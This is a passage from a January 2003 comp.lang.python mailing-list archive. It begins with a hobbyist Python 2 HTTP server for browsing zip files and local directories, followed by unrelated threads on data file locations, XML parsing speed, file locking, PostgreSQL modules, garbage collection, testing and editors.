# http://localhost:8000/d:/java/doc/j2sdk-131-docs.zip/
# and in this case you can browse entire zip file
#
# or you can browse your entire filesystem:
# http://localhost:8000/d:/
# but I am pretty sure there are much *BETTER* ways of doinig it...
#
'''

import base64, BaseHTTPServer, SimpleHTTPServer, os, os.path, re, socket,
sys, urllib, zipfile
PORT = 8000

class zipHTTPRequestHandler( SimpleHTTPServer.SimpleHTTPRequestHandler ):
    def listDir( self, dir, namelist ):
        dirLen = len( dir )
        dirs, files = {}, {}
        for name in namelist:
            if name.startswith( dir ):
                paths = name[dirLen:].split( '/' )
                if len( paths ) > 1:
                    dirs[paths[0]] = 1
                elif paths[0] != '':
                    files[paths[0]] = 1
        dirs[ '..' ] = 1
        dirs = dirs.keys()
        dirs.sort()
        files = files.keys()
        files.sort()
        return dirs, files

    def sendOK( self ):
        self.send_response( 200, 'OK' )
        self.end_headers()

    def printDir( self, path, dirs, files ):
        self.sendOK()
        self.wfile.write( '''<html>
<head>
  <style TYPE="text/css">
    <!--
      a          {text-decoration: none}
      .a1:hover  {background-color: darkRed; color: white}
      .a2:hover  {background-color: darkBlue; color: white}
      h2         {padding: 4pt; background-color: darkBlue; color: white}
      b.darkBlue {color: darkBlue}
    -->
  </style>
</head>
<body>
''' )
        self.wfile.write( '<h2>Zip file browser</h2>\n' )
        for file in ['index.html', 'index.htm']:
            if file in files:
                self.wfile.write( 'Found <a class=a1 href="%s">&nbsp %s
&nbsp</a> in this directory<br>\n' % (file, file) )
        self.wfile.write( '<p>\nIndex of [<b
class=darkBlue>%s</b>]</p>\n<table>\n' % path )
        for dir in dirs:
            self.wfile.write( '  <tr><td><img src="/icon::dir.gif"
align=top>&nbsp<a class=a2 href="%s/">&nbsp %s &nbsp</a></td></tr>\n' %
(dir, dir) )
        for file in files:
            if file.endswith( '.zip' ):
                icon = 'zip'
                suffix = '/'
            elif file.endswith( '.html' ) or file.endswith( '.htm' ):
                icon = 'html'
                suffix = ''
            else:
                icon = 'file'
                suffix = ''
            self.wfile.write( '  <tr><td><img src="/icon::%s.gif"
align=top>&nbsp<a class=a2 href="%s%s">&nbsp %s &nbsp</a></td></tr>\n' %
(icon, file, suffix, file) )
        self.wfile.write( '</table>\n\n</body>\n</html>' )

    def do_GET( self ):
        self.path = urllib.unquote_plus( self.path )
        if self.path in ['/icon::dir.gif', '/icon::file.gif',
                         '/icon::zip.gif', '/icon::html.gif']:
            # OK this is quite easy...
            self.sendOK()
            self.wfile.write( self.icons[self.path] )
            return
        if sys.platform.startswith( 'win' ):
            path = self.path[1:] # for windoze remove the leading slash
        else:
            path = self.path     # else: (eunuch) everything is OK
        r = re.match( '(.*\.zip)/(.*)', path )
        if r:
            # yes, yes, yes! we have zip file!
            file = r.group( 1 )
            path = r.group( 2 )
            try:
                zf = self.zFile[file]
            except KeyError:
                try:
                    zf = self.zFile[file] = zipfile.ZipFile( file, 'r' )
                except:
                    self.send_error( 404, 'Cannot open zip file [%s]' %
file )
            if path == '' or path.endswith( '/' ):
                # request is directory in zip file
                dirs, files = self.listDir( path, zf.namelist() )
                self.printDir( '%s::%s' % (file, path), dirs, files )
            else:
                # request is normal file in zip file
                try:
                    data = zf.read( path )
                    self.sendOK()
                    self.wfile.write( data )
                except:
                    self.send_error( 404, 'Cannot open [%s::%s]' % (file,
path) )
        else:
            # ordinary file/dir
            if os.path.isdir( path ):
                if path[-1] != '/':
                    self.send_response( 301, 'Moved Permanently' )
                    self.send_header( 'Location', self.path + '/' )
                    self.end_headers()
                    return
                try:
                    list = os.listdir( path )
                except OSError, s:
                    self.send_error( 403, 'Forbidden: %s' % s )
                    return
                dirs = []
                files = []
                for item in list:
                    if os.path.isdir( path + '/' + item ):
                        dirs += [ item ]
                    else:
                        files += [ item ]
                if os.path.normpath( os.path.join(path, '..') ) != path:
                    dirs += [ '..' ]
                dirs.sort()
                files.sort()
                self.printDir( path, dirs, files )
            elif os.path.isfile( path ):
                self.sendOK()
                self.wfile.write( open(path).read() )
            else:
                self.send_error( 404, 'File [%s] not found' % path )

print __doc__
zipHTTPRequestHandler.zFile = {}
zipHTTPRequestHandler.icons = {}
zipHTTPRequestHandler.icons['/icon::dir.gif'] = base64.decodestring( '''\
R0lGODlhEAAQAPUpAAAAABoaGikpKTk5OQA8WkVFRVhYWGlpaXR0dAtVhA5ekQhnmQdxoxBtoBF3
qBJ/sShsjSdokgeGtROAshaayxmv7jiixTy57VenxlawzV2x0HS71J2dnYaltKioqLi4uILD2JHJ
28G+vsfHx9nY2MHh7dPt9ujo6Pb29gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEBACkALAAAAAAQABAAAAbmwFQq
lQIUUqlUKpVKpVKpVCoVGJ0KhUEqlUqlUqlUarAgIDyjUwFQQABSqVRKUDJtFgSEZ3Q6nYCAVCoV
uFg2JROIQUB4RqdCKiWoSCyaDahkAjEICEMqFaA0HhKJJbMJlUybQSolmCQUi8ZDIrEAMZtSIZUq
oE4dSEKxcDgkkk0hlSqgUKcTqQNJKBYNzCCVKpxOpxOJRBp1IInIIJUajEgkEmk0Ao5EIhGikEql
AIODaDQaiUSfz6GQSqVSqRRgYPh8Ph7PoZBKpVKpVCqVAggMHM9hkEqlUqlUKgVMpVIpgGCQCgIA
Ow==
''' )
zipHTTPRequestHandler.icons['/icon::file.gif'] = base64.decodestring( '''\
R0lGODlhEAAQAPUiAAAAADAwMEJCQlhYWGxsbHBwcI6DcpGJfLyec7yie4yJhpONg5WSjJqZmb2o
h7ytlL62r7y3scCvkcKzmsO6p8bBtuXMp+jUts7Ozt7e3uzdxe7gyeji2fHm1urq6vTt4vfy6/39
/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEBACIALAAAAAAQABAAAAbmQJFI
JBoMBoPBYDAYiEQikUgkGmQymUwmMmgMRCKRSCQaZEKhUMhDCDUGIpFIJBpkQqFQKFTAhICNgEgk
Eg0yoUajEVIUCIKASCQSDTKhUCgUAmUii4BIJBINMqFGo9EIgTiQgEgkEg0yoVAoFAIBP5xHQCQS
iQaZUKPRYDAYnEdAJBKJBplQKAT6dDqaR0AkEokGmRCDwWAsDhpHQCQSiQaZEKjTAXY0l4sjIBKJ
RIMMiLE4HAwGiyMgEolEg0yn09lcLhdLIiASiUSDSoVCmUgkCQQiIBKJRINAIAAMBAKBQCAQCAIA
Ow==
''' )
zipHTTPRequestHandler.icons['/icon::zip.gif'] = base64.decodestring( '''\
R0lGODlhEAAQAPZJAAAAADAwMFhTFWVcHm1dJmtgIWliMHRrKXlxIUJCQlhYWHZuR2xsbHJycoZ8
LIV1M5SHN5+QP42Da5SLYZyUbp2Vd6eYRrCeTqSaYqOcfbyec7uqV7ytbLyie8y8dtjGeoyJhpmZ
maOdhqyoirSriLqtlryxn720p7y3scCvkcKzmsS5pcC7tNG/pdzNg8bBttvPr97EtN7SqODSjuLV
k+XMp+jequfVte7gqu7js/DpvsvJx9zc3OnNxuvZxenW5u3jxuji2fXsxvLo2Pv02erq6vPt4/v4
6v38+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5
BAEBAEkALAAAAAAQABAAAAf+gElJSUkKCgoKCgoKCgpJSUlJSUlJCjw8PDw8KAohCklJSUlJSQo8
SEhISEUMSCEKSUlJSUkUFBQUSEhIDTtIIQFJSRQURCRHQBQUOyANDAkBSRQkJCQkIyMkIxVIRSgg
AUkiR0dHRCQ5OjYYO0dBJwFJIkRCR0QkOR4WDyhGQYAlAUkVSEc2ORwbFxEHKENBJQFJFEI/PTAb
FxEQBydDQCQBSRQyPTE0FxEQDgMmQDcpAUkTNDMuLhYPDggCJj43JAFJSQscHx8PBAQEEi03Nx0B
SUlJSQsdBAYSKS01NzUaAUlJSUkNJRUmKyopKSkaGgFJSUlJCgEBAQEBAQEGgAEBAQGBADs=
''' )
zipHTTPRequestHandler.icons['/icon::html.gif'] = base64.decodestring( '''\
R0lGODlhEAAQAPZhAAAAACMsPicxPDAwMBUrQh42Vh09ZiQ4XDdCMR5AfCFCfUhIN15YMUJCQkBS
VlhYV0NkcWxsbGVvfHd1cihVhiZSmylWqTlimy9gsDduqTZotj10pDlyzE14nE15p0J2vGVygUF6
zkV90GyBeUqEvliEvnybmm+Qq2+XuE+Gx0mO1FCGx1SO2WOg2nap3YN2QK6WN6mYSriaU7yec7yi
e7CxaNm5bvLScYyJhoyQj5mZmZ6ulYmitaScjqyjlb2oh7irlrGrobmzq7u4tYCr2rjJuLvAxcCv
kcWzm8e4osK9tNPChsXAuNDAquTQgffRhvLXleXMp+LPs+7eq+jTtP7gv87Ozt3d3ercxurgyOji
2fDmwfLo2Orq6vPt4/vx6f39/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5
BAEBAGEALAAAAAAQABAAAAf+gGFhYWEPDw8PDw8PDw9hYWFhYWFhD1dXV1dXQw86D2FhYWFhYQ9X
YGBgYF0RYDoPYWFhYQAXBhA5YGBgEVZgOgNhYRkvNz4pFwZGYDgREQ0DYRlFW1tLNSMVBENgXUI4
A2EUWF9TTjIdGAYgV19aQgMUJFheTzYeIhgJBEpdXIBHAwcuJ1A6PCwhGAkEQl5aRwMHKS4oNh4e
HxYFBEFaWEcDYRQsLSo2MQ8GBBJBWFg/A2EEHhocMS8MBAQvSlhUPwNhYQQGFA4NCAUvQElUUjQD
YWFhYQQEBA86QElSVFE0A2FhYWEPSkFBSUhHPz8zMwNhYWFhDwMDAwMDAwMGgAMDAwOBADs=
''' )

httpd = BaseHTTPServer.HTTPServer( ('', PORT), zipHTTPRequestHandler )

urlInfo = ( socket.gethostname(), PORT )
print 'Host [%s] started listening on port [%d]' % urlInfo
print 'Try e.g. http://%s:%d/pathToYourFile(s)' % urlInfo

httpd.serve_forever()
-------- CODE ENDS --------

Piter

U?ytkownik "Dennis Reinhardt" <DennisR at dair.com> napisa? w wiadomo?ci
news:sXjW9.126$lE7.20810881 at newssvr17.news.prodigy.com...
> > The reason is that zipfile.read('myfile.html') returns a string,
> containing
> > the contents of the file. However, Webbrowser requires a URL (in this
case
> > the name of an html file).
>
> You *could* implement a very simple http server.  the server returns the
> string when requested by browser.  The following command (among others)
> launches browser:
>         os.startfile("http://localhost")
>
> You would need port 80 open locally or attach to some other port and
> identify same in URL..
> --
>
> Dennis Reinhardt
>
> http://www.dair.com
>
>









From logistix at zworg.com  Mon Jan 20 19:53:46 2003
From: logistix at zworg.com (logistix)
Date: 20 Jan 2003 16:53:46 -0800
Subject: Where do you store data files?
Message-ID: <bdb5b58f.0301201653.3a9166d4@posting.google.com>

I've got a project that generates a simple text-format database and
will probably generate a few dozen more documents for caching
purposes.  I'm just trying to decide where I should store them.  I was
thinking about just creating a subfolder in the module, which is fine
for Windows but doesn't seem to be the "appropriate" Unix place to
store it.

Just wondering what other people were doing.



From martin at v.loewis.de  Thu Jan  2 16:28:05 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 02 Jan 2003 22:28:05 +0100
Subject: Why is xml.dom.minidom so slow?
References: <mailman.1041539884.13159.python-list@python.org>
Message-ID: <m3vg1744yi.fsf@mira.informatik.hu-berlin.de>

"Bjorn Pettersen" <BPettersen at NAREX.com> writes:

> All I'm doing boils down to:
> 
>   response = rf.nextResponse()
>   dom = parseString(response)
> 
> in a loop. Am I doing something wrong? 

You have to give more details. What Python version? PyXML or stock
Python? One traditional reason is that people, not knowingly, have
used PyXML xmlproc, which is a pure-Python parser, instead of Expat.

PyXML 0.8.x has a number of speed improvements for minidom-with-expat
(such as eliminating the SAX driver), and memory usage improvements
(such as interning element and attribute names).

> Is there a faster way when all I need is a traversable tree
> structure as the result?

"All I need" reads quite funny in this context, as producing a
traversable tree is one of the more expensive ways for XML
processing. There are certainly faster ways if you *don't* need a
traversable tree.

Regards,
Martin



From sean at activeprime.com  Thu Jan  9 10:03:31 2003
From: sean at activeprime.com (Sean)
Date: 9 Jan 2003 07:03:31 -0800
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <pan.2003.01.08.22.32.27.57796@compy.attbi.com>
Message-ID: <ef7a350b.0301090703.50a3221e@posting.google.com>

jerf at compy.attbi.com wrote in message news:<pan.2003.01.08.22.32.27.57796 at compy.attbi.com>...
> On Tue, 07 Jan 2003 22:59:50 -0500, Tupoi wrote:
> 
> > what are the best colleges for those wanting to major in computer science
> 
> Succeeding in computer science is more a matter of being dedicated and
> devoted to the task and taking advantage of the resources you'll find in
> college. As long as you are that kind of student, almost any department
> will be good enough. If you are not that kind of student, no department
> will be good enough.

Thank you for saying *much* more eloquently than I did what I was
trying to get across.

-Sean



From pyth at devel.trillke.net  Tue Jan 14 03:21:27 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Tue, 14 Jan 2003 09:21:27 +0100
Subject: flock experience
In-Reply-To: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk>; from robin@jessikat.fsnet.co.uk on Tue, Jan 14, 2003 at 12:47:16AM +0000
References: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk>
Message-ID: <20030114092127.C349@prim.han.de>

Robin Becker wrote:
> has anybody good experience using file locking in python. I have the
> typical problem of opening a log file for a short time (cgi environment)
> in a multiprocess world. So far I think we have been lucky, but our 8
> machine front end is contracting to one machine, just for us, so the
> collision probabilities are rising. I see there's a recipe in the pcb,
> but what happens to locked out processes etc etc.

8 machines?  are you using nfs? then i don't think you should try
to do locking.  It's been a problem with smtp+mailprogramms forever
and in the end the mailbox format (each message a file) appears to be
the simplest working solution.  

Anyway, couldn't you create a file for each message/process?  another 
process could gather it so you wouldn't have to care for locking at all. 
you may need an end marker so that the gathering process doesn't
assume a message is complete too early. 

HTH,

    holger




From knightsofspamalot-factotum at gvdnet.dk  Tue Jan  7 13:24:05 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Tue, 07 Jan 2003 19:24:05 +0100
Subject: Python + PostgreSQL
References: <kp65t0lxwp.fsf@wintermute.casa> <87of6sx33n.fsf@gvdnet.dk>
 <kp3co497bt.fsf@wintermute.casa>
Message-ID: <87isx0x1h6.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Jorge" == Jorge Godoy <godoy at metalab.unc.edu> writes:
Jorge> As shown in http://www.python.org/topics/database/modules.html
Jorge> there are some modules that can talk to PostgreSQL and are
Jorge> DB-SIG compliant. Is there one that is more commonly used?

I don't know.

Jorge> Or I can try and use any of those?

If they're all compliant, the difference between them should be merely
a question of convenience and performance. I am not in a position to
make recommendations.

Jorge> From the description on the page above PyGresQL seems to be the
Jorge> one recommended... Am I wrong?

I'm not sure if one is recommended more than the others on that
page. I use pyPgSQL because it comes packaged for my OS (Debian
GNU/Linux).

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4bG0QACgkQYu1fMmOQldXiGACgjBNxg5TOrWce0LWrO1NH7GSK
0mYAniLWKK9vIWPHqI3o8XjNyIPvnC+c
=Zfxv
-----END PGP SIGNATURE-----



From skip at pobox.com  Sun Jan  5 13:56:56 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sun, 5 Jan 2003 12:56:56 -0600
Subject: File-like objects name attribute.
In-Reply-To: <c9d82136.0301051014.7335bb8@posting.google.com>
References: <c9d82136.0301051014.7335bb8@posting.google.com>
Message-ID: <15896.32760.216594.861597@montanaro.dyndns.org>

    noah> What does the form "<...>" mean? Does this mean I should include <
    noah> > around the name for my file-like object? 

Yes, generally if you have an object whose source would normally be a file
but is a string, you name it "<string>", e.g.:

    >>> compile('x=1', '<string>', 'single')
    <code object ? at 0x4090e0, file "<string>", line 1>

-- 
Skip Montanaro - skip at pobox.com
http://www.musi-cal.com/
http://www.mojam.com/




From maxm at mxm.dk  Thu Jan  9 07:30:25 2003
From: maxm at mxm.dk (Max M)
Date: Thu, 09 Jan 2003 13:30:25 +0100
Subject: ZODB: don't like self._p_changed
In-Reply-To: <avjj10$oe7$03$1@news.t-online.com>
References: <avjfop$tmb$00$1@news.t-online.com> <3E1D4756.7040406@mxm.dk> <avjj10$oe7$03$1@news.t-online.com>
Message-ID: <DVdT9.32468$Hl6.3351656@news010.worldonline.dk>

Thomas Guettler wrote:
> Max M schrieb:

>> Probably not. How should an object know if a mutable subobject has 
>> been changed?
> 
> The method "append" could set the flag.

Then you would need to use specialized objects instead of the built in 
objects. That would shurely be more cumbersome than setting the 
persistence flag?

regards Max M


-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From Oschler at earthlink.net  Thu Jan 23 01:46:49 2003
From: Oschler at earthlink.net (Robert Oschler)
Date: Thu, 23 Jan 2003 06:46:49 GMT
Subject: Python magazine(s)?
Message-ID: <tdMX9.440$0L3.172774@news2.news.adelphia.net>

I know there some e-zines but what, no Python magazine?  I don't see any at
my favorite bookstore.  Grab the pitch forks and the angry mob!

thx






From nadavh at visionsense.com  Sun Jan  5 07:48:15 2003
From: nadavh at visionsense.com (Nadav Horesh)
Date: Sun, 05 Jan 2003 14:48:15 +0200
Subject: Using Red Hat 8.0 and IDLE
Message-ID: <3E18298F.9060104@visionsense.com>

   1.   Running IDLE: either use bash's alias like
      alias idle=/usr/lib/python2.2/site-packages/idle/idle.py&
      of just make a one-line script in the executable path (like
      /usr/local/bin)
   2. Changing fonts size: Edit config-unix.txt found in the IDLE's
      directory.


Nadav





From tismer at tismer.com  Thu Jan 30 23:30:44 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 31 Jan 2003 05:30:44 +0100
Subject: Implicit lists
In-Reply-To: <1043986314.679.52.camel@sayge.arc.nasa.gov>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>	 <mailman.1043939395.30256.python-list@python.org>	 <Fpc_9.143714$AA2.5881522@news2.tin.it> <20030130180017.U10804@prim.han.de>	 <3E39ED6F.5030703@tismer.com> <1043986314.679.52.camel@sayge.arc.nasa.gov>
Message-ID: <3E39FBF4.8060205@tismer.com>

Chad Netzer wrote:
> On Thu, 2003-01-30 at 19:28, Christian Tismer wrote:
> 
> 
>>In my opinion, the crux of this all is the decision
>>that strings are iterable.
> 
> 
> Ah, but I work with Numeric arrays a lot, which are also iterable, and
> which I like to package into tuple or lists for various reasons.  These
> same problems can crop up as well (must be careful to pass a sequence of
> arrays, rather than just an array, etc).  So it isn't just strings that
> present a problem.

Well, I don't take that argument.
Strings are used in an atomic manner
most of the time.
Lists/tuples as arguments are also typical
to be one dimensional. If they are not, the
user will probably take the time to read the
interface docs; (s)he should anyway.

With numeric arrays, it is *typical* to have
a multi dimensional array. In most cases, you
will want to have an array of a given dimensionality
as an argument, less likely a list of arrays.
IMHO, Numeric lacks a distinction between objects to be
seen as a whole and sequences, since this applies so
very recursively.

> Using variable parameters, you could build an interface that will accept
> single arguments (ie. foo(x) ), and would accept iterable objects or
> sequences as long as you explicitly specified that (ie. foo(*seq) ),
> while rejecting single arg sequences.  A bit ugly, but could be useful
> with lots of string/list/tuple mixes.

I think, with Numeric objects, which are iterable on so many
levels, it is insane to provide ambiguous function interfaces.
These objects are so overloaded with flexibility, that I think
it would be better to do all the pre-shaping inside these objects
and then pass singletons of them to functions.

This appears to be a situations where two concepts of
flexibility are fighting each other.

if-the-interface-is-difficult-then-it's-wrong - ly y'rs - chris





From pyth at devel.trillke.net  Tue Jan  7 19:54:05 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 8 Jan 2003 01:54:05 +0100
Subject: Python vs Java garbage collection?
In-Reply-To: <Pine.GSO.4.44_heb2.09.0301072327570.16059-100000@techunix.technion.ac.il>; from cben@techunix.technion.ac.il on Tue, Jan 07, 2003 at 11:51:14PM +0200
References: <20030106213935.G17919@prim.han.de> <Pine.GSO.4.44_heb2.09.0301072327570.16059-100000@techunix.technion.ac.il>
Message-ID: <20030108015405.I17919@prim.han.de>

Beni Cherniavsky wrote:
> On 2003-01-06, holger krekel wrote:
> 
> > Beni Cherniavsky wrote:
> > > On 2002-12-28, Stuart D. Gathman wrote:
> > >
> > > > 1) This feature should not reclaim memory, only call __del__().If
> > > > references were still live, the effect would be the same as calling
> > > > __del__() on a live object.
> > > >
> > > > 2) __del__() would get called again when memory is actually reclaimed.
> > > > Therefore, your feature would be much safer if it called another special
> > > > function - say close() or dispose() at the end of the block.
> > > >
> > > I think this is a technical question: is it possible in CPython and Jython
> > > to mutate an existing object's class, to mark it as dead?If yes, then a
> > > facility to explicitly force a __del__ if any (and fry the object so it
> > > can't be used any more) would be a solution for writing portable code:
> > >
> > > x = acquire()
> > > try:
> > >   do_something(x)
> > > finally:
> > >   finalize(x)
> >
> > why is this better than the traditional e.g.
> >
> > lock.acquire()
> > try:
> >   do_critical_work()
> > finally:
> >   lock.release()
> >
> Err, emmm, aah, Good Question. :-)
> 
> More seriously, it allows one to always call the destructor __del__
> without knowing in advance whether the user will be happy with relying on
> automatic finalization or will destroy it excplicitly.  In particular,
> suppose I write a module and it relies on __del__; now somebody wants to
> use it in Jython and/or in some context I didn't envision that requires
> explicit finalization at some predictable time.  Currently, he has no way
> short of changin my module and redesigning the interface.  I don't think
> there is currently a good way to "fry" an object before its time from pure
> Python, so calling __del__ manually is problematic.

Right, this is problematic. 

Regarding your module, If you have something like:

    def f():
        data = open(source).read()

then it is hard to finalize the file from the outside.
We don't even have a name to refer to.  
 
> Also, since I never saw a resources that can be destroyed in more than one
> way <wink>, it makes some sense to have a single name agreed name for it.
> Sometimes, it could allow writing generic code that releases a resource
> without knowing what it is exactly.  For example, in a related thread some
> time ago I proposed that the for loop should finalize the iterator (with
> finally-like guarantee.

Hmmm.  Care to give a concrete example? 

> In CPython, it already happens (__del__ is
> called) and in Jython this would need to be coded.  It can't quite work
> that way because people sometimes give pre-existing iterators to for,
> expecting them to remain alive.  Still, it shows the idea: an API that
> creates user objects without exposing it, has known lifetime for the
> object but gives the user no way to finilize explicitly, so it makes very
> much sense for the API to guarantee this finilization.  Currently you
> cannot implement such a guarantee under Jython; with the added builtin,
> you can.

I am not so sure how (and why) something like a 'finalize' builtin could be 
made to work.  I don't have the situation often where i don't know how
to finalize a resource.  

    holger




From vanevery at 3DProgrammer.com  Fri Jan 31 18:00:50 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:00:50 GMT
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043956135.5480.python-list@python.org> <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net> <mailman.1043964582.28950.python-list@python.org>
Message-ID: <CeD_9.848$ek4.85372@newsread2.prod.itd.earthlink.net>

Dave Brueck wrote:
> On Thu, 30 Jan 2003, Brandon Van Every wrote:
>
>> Dave Brueck wrote:
>>> On Thu, 30 Jan 2003, Mark Charsley wrote:
>>>
>>>> I'm used to the compiler/linker giving me a lot of reassurance that
>>>> my code works.
>>>
>>> That's common, but in many cases it's a _false_ sense of
>>> reassurance.
>>
>> It kills many problems before they arise.
>
> Well, you didn't really elaborate so I can only guess what you meant,

That's ridiculous.  You jolly well know what I meant, you're just
pooh-poohing the engineering value of it.

> but I can't think of any real-world problems it finds that aren't
> caught just as adequately in the tests.

But I don't have to *write* the compiler typechecking.  I do have to write
the tests.  Anal retentive as I am, I don't have time to write *all* tests.

>>> Even in C++ I end up checking all uses of a refactored function
>>> despite what the compiler says because it can catch only the
>>> simplest of problems.
>>
>> Sounds like your functions must do an awful lot if they need so much
>> checking.
>
> Why do you say that?

I can't help you on how to engineer things properly and incrementally.  It's
way too big a discussion topic and requires specifics.

> It really depends on what the refactorization was, no?

Sure.  Don't make a mess out of it.  Refactoring is supposed to *simplify*
your life.

>> Maybe your functions should be smaller, more incremental, easier to
verify?
>
> You're kidding, right?

No.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From skip at pobox.com  Sun Jan  5 15:10:58 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sun, 5 Jan 2003 14:10:58 -0600
Subject: File-like objects name attribute.
In-Reply-To: <_dacnd20w6jjFIWjXTWcpg@comcast.com>
References: <c9d82136.0301051014.7335bb8@posting.google.com>
        <_dacnd20w6jjFIWjXTWcpg@comcast.com>
Message-ID: <15896.37202.600632.403265@montanaro.dyndns.org>

    >> name = "</bin/ls -la /etc>"

    Terry> This is unambiguously *not* a file name!

Well, it could still be a file on many systems (even Unix), but is almost
certainly not.

Skip




From hancock at anansispaceworks.com  Mon Jan  6 23:23:39 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 07 Jan 2003 04:23:39 GMT
Subject: Jython/Python Libs
References: <g4sS9.20725$9N5.1854174@newsread2.prod.itd.earthlink.net>
Message-ID: <fDsS9.20773$9N5.1860123@newsread2.prod.itd.earthlink.net>

Terry Hancock wrote:
> Ideally I'd also catch the few cases of modules which don't work correctly
> for language compatibility regions, but I know that can be pretty subtle.

Um, that's supposed to read "reasons" not "regions" in case anyone was 
confused.

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From exarkun at intarweb.us  Thu Jan 16 15:12:22 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 16 Jan 2003 15:12:22 -0500
Subject: Bug with super() and reload()?
In-Reply-To: <7h34r89ne7y.fsf@pc150.maths.bris.ac.uk>
References: <of6h1crt.fsf@python.net> <mailman.1042736654.11092.python-list@python.org> <7h34r89ne7y.fsf@pc150.maths.bris.ac.uk>
Message-ID: <20030116201222.GA17195@meson.dyndns.org>

On Thu, Jan 16, 2003 at 06:25:48PM +0000, Michael Hudson wrote:
> Jp Calderone <exarkun at intarweb.us> writes:
> 
> >   One could look at it as a wart, though I personally wouldn't.  Regardless,
> > it can be worked around.
> > 
> > See twisted.python.rebuild (http://www.twistedmatrix.com) for an example of
> > how ;)
> 
> That might have difficulties with a list of instances, no?
> 

  Nope.  The most common usage (for me, anyway) is to pick a particular
module and target it, rather than updating instances individually. 
Everything is taken care of automatically in this case, either with the gc
module or with a magical __getattr__ if gc is not available.

> Also these lines:
> 
>         if not hasattr(mod, '__dict__'):
>             # It's a builtin module; nothing to replace here.
>             continue
> 
> baffle me.  How did you manage that?
> 
> >>> len(sys.__dict__)
> 44
> >>> len(termios.__dict__) 
> 231


  Ahh, I wrote up a nice description of why this is the way it is, but then
I investigated a little and now I think it's just a weird workaround for a
bug in the cReactor module (a C implementation of part of the core).  Now
that I realize this the above check will probably go away and cReactor will
be fixed.  ;)  Thanks

  Jp

-- 
There are 10 kinds of people: those who understand binary and those who do
not.
--
 12:00am up 31 days, 9:48, 2 users, load average: 0.07, 0.09, 0.04
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030116/5a85f21a/attachment.sig>

From bdesth at nospam.free.fr  Mon Jan  6 23:47:50 2003
From: bdesth at nospam.free.fr (laotseu)
Date: Mon, 06 Jan 2003 23:47:50 -0500
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <3E1A5BF6.8020607@nospam.free.fr>

Johan wrote:
> Hi,
> 
> Anyone know some good Python editors under Linux?
> With good color highlightning... :)
> 
> I prefer free editors (have seen WingIDE but it isnt free :(...).
> 
> I hope someone know where i can find some editors :)
> 
> Looking forward to your replies... :)
> 
> Regards,
> Johan

Woosh... Holy War once again !
Laotseu




From Mongryong at sympatico.ca  Wed Jan 22 20:10:49 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 22 Jan 2003 20:10:49 -0500
Subject: XSL-FO? Python FOP?
Message-ID: <1043284249.1420.59.camel@refugeeMedia>

Is there a XSL-FO library for Python yet (ie. like  Apache's FOP for
Java)?







From peter at engcorp.com  Wed Jan 29 14:20:55 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 14:20:55 -0500
Subject: import View
References: <290120031451363280%francesco@akiraland.net> <3E37F42F.790317F9@engcorp.com> <3E37FC4B.3060102@akiraland.net>
Message-ID: <3E382997.ED56B1EC@engcorp.com>

nero wrote:
> 
> yes.. I've found this python code:
> 
> import Numeric
> import MLab
> import View
> 
> ...code...
> 
> and I'm not able to run it because the interpreter says..
> ImportError: No module named View

Still not enough information for _me_ to solve the problem.  What
is this python code you've "found".  Does it have a name?  Where
did you find it?  *What* is it supposed to do?

Have you checked the INSTALL page or whatever might have been 
included with that code, to be sure that you have the prerequisites?
Generally software that needs such non-standard libraries will
include a description of how to configure your machine to use it.

I suspect someone else will recognize the name and help you out,
